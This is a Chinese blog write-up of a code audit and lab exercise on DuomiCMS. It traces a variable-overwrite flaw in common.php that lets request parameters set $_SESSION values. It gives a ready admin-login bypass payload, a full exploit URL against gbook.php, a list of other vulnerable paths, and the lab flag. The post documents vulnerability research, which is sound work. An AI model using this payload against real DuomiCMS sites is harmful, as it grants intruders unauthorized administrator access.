下载源码本地测试
然后进行代码审计
发现这个地方可能存在变量覆盖:/duomiphp/common.php
查看包含了common.php的地方
先看看后台登录的地方,调用了common.php
login.php查看了一下,没有可以构造变量的地方。
但是login.php包含了check.admin.php
check.admin.php中的keepUser方法在login.php被使用了
是一个登录判断的功能。登录成功之后会保存用户的session。
我们的漏洞点就是构造$_SESSION变量,成功登录到管理员后台。
而$_SESSION变量我们可以进行变量覆盖。
为了能成功登录到管理员后台,我们需要知道session中包含哪些东西。
check.admin.php:
显然,我们需要构造的有:
$_SESSION[duomi_admin_id]=userID
$_SESSION[duomi_group_id]=groupid
$_SESSION[duomi_admin_name]=userName
那么让这些值等于什么才能是管理员权限呢?
userID与userName 好理解,就是用户id与用户名嘛。
那groupid是什么呢?
全文搜索一下:/admin/admin_manager.php
groupid=1即为系统管理员。
经过搜索,userID与userName是可以任意构造的。
那么我们的payload也就形成了:
_SESSION[duomi_admin_id]=11&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=666
其实构造userID与groupid就行了。
那么构造好了payload需要在哪里使用呢?
既然与session有关,那必然要使用session_start()。
所以需要找到同时包含common.php与使用session_start()的地方
interface/gbook.php:下可以成功执行
http://127.0.0.1/duomicms/upload/interface/gbook.php?_SESSION[duomi_admin_id]=11&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=666
interface/comment.php
interface/comment.php/api/index.php
interface/comment.php/api/send.php
member/cpwd.php
member/exchange.php
member/exit.php
…等等这些路径下也可以执行,没有全部测试。但是应该大部分都可以。
靶场测试
_SESSION[duomi_admin_id]=11&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=123
直接进入后台拿到flag: flag{7788_tiesan_one}
标签:--,通杀,&_,duomi,admin,SESSION,duomicms,php,id From: https://www.cnblogs.com/Ctsz1/p/17260791.html